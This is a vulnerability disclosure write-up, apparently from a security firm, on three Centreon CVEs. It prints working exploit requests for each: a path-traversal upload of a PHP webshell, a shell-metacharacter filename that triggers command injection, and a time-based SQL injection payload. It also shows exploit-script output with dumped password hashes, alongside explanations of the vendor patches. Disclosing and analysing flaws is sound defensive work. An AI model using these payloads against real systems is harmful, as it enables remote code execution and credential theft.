[EN] Deep Looking into Centreon
Summary
In this research, three critical vulnerabilities were identified in Centreon Web and the Centreon Open Tickets module, allowing everything from full database extraction via SQL Injection to remote command execution on the server through a Path Traversal vulnerability in the file upload functionality and a Command Injection vulnerability. Exploitation requires only an authenticated session, without the need for administrative privileges, and allows an attacker to compromise the monitoring environment.
The vulnerabilities were reported to Centreon, which acknowledged the issues and released fixes for all affected versions, resulting in three CVEs: CVE-2026-2749, CVE-2026-2751, and CVE-2026-2750.
Impact
Centreon is a monitoring platform used by organizations to track servers, networks, applications, and services in real time.
Each of the three vulnerabilities can be exploited independently, ranging from extracting database credentials via SQL Injection, to executing commands through CLAPI, and even directly uploading a webshell using Path Traversal, provided the attacker possesses a valid application user account.
According to information published on Centreon’s own website, the software is used by more than 250,000 users worldwide, with over 80 companies actively adopting the platform in their environments.






CVE-2026-2749
The first vulnerability found was a Path Traversal in the Open Tickets module, specifically in the file upload endpoint. The flaw is in the uniqId parameter, which is taken directly from $_REQUEST without any sanitization and concatenated into the file destination path.
The vulnerable code in uploadFile.php contained the following lines:
$uniq_id = $_REQUEST['uniqId']; $file_dst = $dir . '/opentickets/' . $uniq_id . '__' . $file['name']; @mkdir($dir . '/opentickets', 0750); rename($file['tmp_name'], $file_dst);
Since $dir resolves to /tmp, the final file path becomes /tmp/opentickets/{uniqId}__{filename}. If an attacker send uniqId=../../usr/share/centreon/www/rce, the resulting path will be:
/tmp/opentickets/../../usr/share/centreon/www/rce__cmd.php
Which normalizes to /usr/share/centreon/www/rce__cmd.php directly inside Apache’s document root. With this, any authenticated user can write a PHP webshell to the webroot.
The first step is uploading the webshell using the path traversal in uniqId:
POST /centreon/modules/centreon-open-tickets/views/rules/ajax/call.php?action=upload-file&uniqId=../../usr/share/centreon/www/rce HTTP/1.1 Cookie: PHPSESSID=<valid_session> Content-Type: multipart/form-data; boundary=----x ------x Content-Disposition: form-data; name="file"; filename="cmd.php" Content-Type: application/octet-stream <?php system($_GET['c']); ?> ------x--

The response confirms the upload was successful:
{"code":0,"msg":"ok"}
The webshell can now be accessed directly through the web interface, without requiring any authentication.
GET /centreon/rce__cmd.php?c=id HTTP/1.1

uid=33(www-data) gid=33(www-data) groups=33(www-data),991(centreon-gorgone),992(centreon),993(centreon-engine),994(centreon-broker)
A script was developed to automate the exploitation of the vulnerability:
https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2749/pathtraversal_rce.py
$ python3 pathtraversal_rce.py --url http://target/centreon --cookie PHPSESSID --cmd "id"
╔════════════════════════════════════════════╗
║ Centreon Path Traversal to RCE (Upload) ║
║ CVE-2026-2749 ║
║ Centreon <= 25.10.6 ║
║ https://hakaisecurity.io ║
╚════════════════════════════════════════════╝
[1] Uploading webshell via path traversal...
Upload successful
[2] Executing: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] RCE CONFIRMED — http://target/centreon/rce__cmd.php?c=COMMAND
How it was fixed
The patch introduced three protection mechanisms. The first measure was the implementation of validation for the uniqId parameter using a regular expression, which now only accepts hexadecimal values with exactly 13 characters.
$uniq_id = $_REQUEST['uniqId'] ?? '';
if (! preg_match('/^[a-f0-9]{13}(\.[0-9]{8})?$/D', $uniq_id)) {
$resultat = ['code' => 1, 'msg' => 'Invalid uniqId format.'];
return;
}
The filename is sanitized using the basename() function, along with additional validations designed to reject control characters and excessively long names. Before the file is written, the realpath() function is used to verify that the final destination resolves to a path within the /tmp/opentickets/ directory, preventing directory traversal attempts. Finally, the rename() function was replaced with the move_uploaded_file() function, which internally validates that the source is a legitimate upload.
The removeFile.php component received the same hardening measures, including the addition of a session validation mechanism to ensure that the unlink() function can only be executed on files previously registered by the same user.
CVE-2026-2750
The second vulnerability is an OS command injection through the CLAPI generatetraps action. The issue is in the generatetraps() method of centreonManufacturer.class.php, where the user-supplied MIB file path is passed directly to passthru().
The vulnerable code:
public function generatetraps($parameters = null): void
{
$params = explode($this->delim, $parameters);
$mibFile = $params[1];
$tmpMibFile = '/tmp/' . basename($mibFile);
// ...
passthru("export MIBS=ALL && {$centreonDir}/bin/snmpttconvertmib --in={$tmpMibFile} --out={$tmpMibFile}.conf");
passthru("{$centreonDir}/bin/centFillTrapDB -f {$tmpMibFile}.conf -m {$vendorId}");
}
The basename() function only strips directory components like ../. but it does not sanitize shell metacharacters. As a result, constructs like $() remain intact and can still be interpreted by the shell. So basename("/tmp/opentickets/t__$(id).mib") returns t__$(id).mib and $(id) will be expanded by the shell when passed to passthru() function.
The exploitation occurs in two steps. First, a file is uploaded via Open Tickets with a filename containing shell metacharacters.
POST /centreon/modules/centreon-open-tickets/views/rules/ajax/call.php?action=upload-file&uniqId=t HTTP/1.1 Cookie: PHPSESSID=<session> Content-Type: multipart/form-data; boundary=----x ------x Content-Disposition: form-data; name="file"; filename="$(id).mib" Content-Type: application/octet-stream -- dummy MIB ------x--

This creates the file /tmp/opentickets/t__$(id).mib. Then, we trigger generatetraps via CLAPI pointing to that file:
POST /centreon/api/internal.php?object=centreon_clapi&action=action HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/json
{"action":"generatetraps","object":"VENDOR","values":"Cisco;/tmp/opentickets/t__$(id).mib"}

When passthru() executes the command, the shell expands $(id) and the result appears reflected in the snmpttconvertmib error message.
The automated script:
https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2750/cmdi_rce.py
$ python3 cmdi_rce.py --url http://target/centreon --cookie PHPSESSID --cmd "id"
╔════════════════════════════════════════════╗
║ Centreon CMDi via CLAPI generatetraps ║
║ CVE-2026-2750 ║
║ Centreon <= 25.10.6 ║
║ https://hakaisecurity.io ║
╚════════════════════════════════════════════╝
[1] Testing with $(sleep 1)...
3.1s — RCE CONFIRMED
[2] Executing: id
uid=33(www-data)
How it was fixed
To address the issue, the vendor added the escapeshellarg() function to all arguments passed to passthru(), sanitizing user-supplied input and mitigating command injection.
$escapedMibFile = escapeshellarg($tmpMibFile);
$escapedMibConfFile = escapeshellarg($tmpMibFile . '.conf');
$escapedVendorId = escapeshellarg((string) $vendorId);
passthru("export MIBS=ALL && {$centreonDir}/bin/snmpttconvertmib --in={$escapedMibFile} --out={$escapedMibConfFile}");
passthru("{$centreonDir}/bin/centFillTrapDB -f {$escapedMibConfFile} -m {$escapedVendorId}");
According to the https://www.php.net/manual/en/function.escapeshellarg.php, escapeshellarg() “adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument”. Thus, applying this function when constructing the command prevents the injection of malicious arguments, effectively mitigating the identified command injection vulnerability.
CVE-2026-2751
The third vulnerability is a time-based blind SQL injection on the Service Dependencies page. The injection happens in the keys of the select[] array sent via POST.
The getSelectOption() function returns the $_POST['select'] array. The consuming code applies filter_var_array, which validates the array values but completely ignores the keys. These keys are then passed as $key in a foreach and concatenated directly into SQL queries.
The vulnerable code in DB-Func.php:
function deleteServiceDependencyInDB($dependencies = [])
{
global $pearDB, $oreon;
foreach ($dependencies as $key => $value) {
$pearDB->query("SELECT dep_name FROM `dependency` WHERE `dep_id` = '" . $key . "' LIMIT 1");
$pearDB->query("DELETE FROM dependency WHERE dep_id = '" . $key . "'");
}
}
The $key value is derived directly from the keys of $_POST[‘select’], which are entirely user-controlled through the key of the select[] array.
POST /centreon/main.get.php?p=60409 HTTP/1.1 Cookie: PHPSESSID=<session> Content-Type: application/x-www-form-urlencoded o=d¢reon_token=<TOKEN>&select[0' UNION SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE 0 END-- ]=1

If the condition 1=1 evaluates to true, the application response is delayed by two seconds due to the execution of the SLEEP(2) function. If the condition evaluates to false, the response is returned immediately without any delay. By observing these timing differences, it is possible to infer whether a given condition is true or false.
Using this time-based blind SQL injection technique, an attacker can systematically extract arbitrary information from the database. By crafting conditional queries and measuring the response time, data such as database names, table structures, and sensitive records can be retrieved one character at a time.
With the automated script below, it’s possible to extract all Centreon usernames and bcrypt password hashes:
https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2751/sqli_dump.py
$ python3 sqli_dump.py --url http://target/centreon --cookie PHPSESSID
╔════════════════════════════════════════════╗
║ Centreon Blind SQLi via Array Keys ║
║ CVE-2026-2751 ║
║ Centreon <= 25.10.6 ║
║ https://hakaisecurity.io ║
╚════════════════════════════════════════════╝
[*] Testing injection...
[+] SQL Injection confirmed
[*] Dumping all users and password hashes...
user: admin
hash: $2y$10$6rn1CoyTBTNQmRCocx7PjO0Fse13Ay2AyRqX5Ypy38u9RJ2Tv94xG
=> admin:$2y$10$6rn1CoyTBTNQmRCocx7PjO0Fse13Ay2AyRqX5Ypy38u9RJ2Tv94xG
user: centreon-gorgone
hash: $2y$10$kkzXe5m1mCe1WhU7MHh//e4k2vj2JlSH3bIvUSGKa9A5ToVEI2gTe
=> centreon-gorgone:$2y$10$kkzXe5m1mCe1WhU7MHh//e4k2vj2JlSH3bIvUSGKa9A5ToVEI2gTe
How it was fixed
The fix replaced direct SQL concatenation with prepared statements that enforce explicit parameter types, ensuring that user-supplied input is properly handled as data rather than executable SQL code. This change prevents attackers from injecting malicious SQL fragments into the query, effectively mitigating the SQL injection vulnerability.
function deleteServiceDependencyInDB($dependencies = [])
{
global $pearDB, $oreon;
$selectStatement = $pearDB->prepare(
'SELECT dep_name FROM `dependency` WHERE `dep_id` = :dep_id LIMIT 1'
);
$deleteStatement = $pearDB->prepare(
'DELETE FROM dependency WHERE dep_id = :dep_id'
);
foreach (array_keys($dependencies) as $key) {
$selectStatement->bindValue(':dep_id', (int) $key, PDO::PARAM_INT);
$selectStatement->execute();
$row = $selectStatement->fetch();
if ($row === false) { continue; }
$deleteStatement->bindValue(':dep_id', (int) $key, PDO::PARAM_INT);
$deleteStatement->execute();
$oreon->CentreonLogAction->insertLog('service dependency', $key, $row['dep_name'], 'd');
}
}
With prepared statements, the database engine treats the supplied value strictly as data rather than as part of the SQL query itself, preventing it from being interpreted as executable SQL code.
Fixed versions
- Centreon Open Tickets 25.10.3, 24.10.8, 24.04.7
- Centreon Web 25.10.8, 24.10.20, 24.04.24
Conclusion
The combined exploitation of the three identified vulnerabilities successfully enabled remote code execution on the server and full extraction of the application’s database, including users and their respective password hashes. According to information available on Centreon’s official website, the platform has more than 250,000 active users, highlighting the significant potential impact if these flaws were exploited in real-world environments. As part of this research, three Python scripts were also developed to automate the exploitation process. The exploits were publicly released in Hakai’s GitHub repository:
https://github.com/hakaioffsec/Centreon-Exploits-2026
As a mitigation measure, it is recommended to immediately update Centreon and its modules to versions that include the security fixes released by the vendor.
References
- https://www.cve.org/cverecord?id=CVE-2026-2749
- https://www.cve.org/cverecord?id=CVE-2026-2750
- https://www.cve.org/cverecord?id=CVE-2026-2751
- https://thewatch.centreon.com/latest-security-bulletins-64/cve-2026-2749-centreon-open-tickets-critical-severity-5493
- https://thewatch.centreon.com/latest-security-bulletins-64/cve-2026-2750-centreon-web-critical-severity-5503
- https://thewatch.centreon.com/latest-security-bulletins-64/cve-2026-2751-centreon-web-high-severity-5504
- https://github.com/hakaioffsec/Centreon-Exploits-2026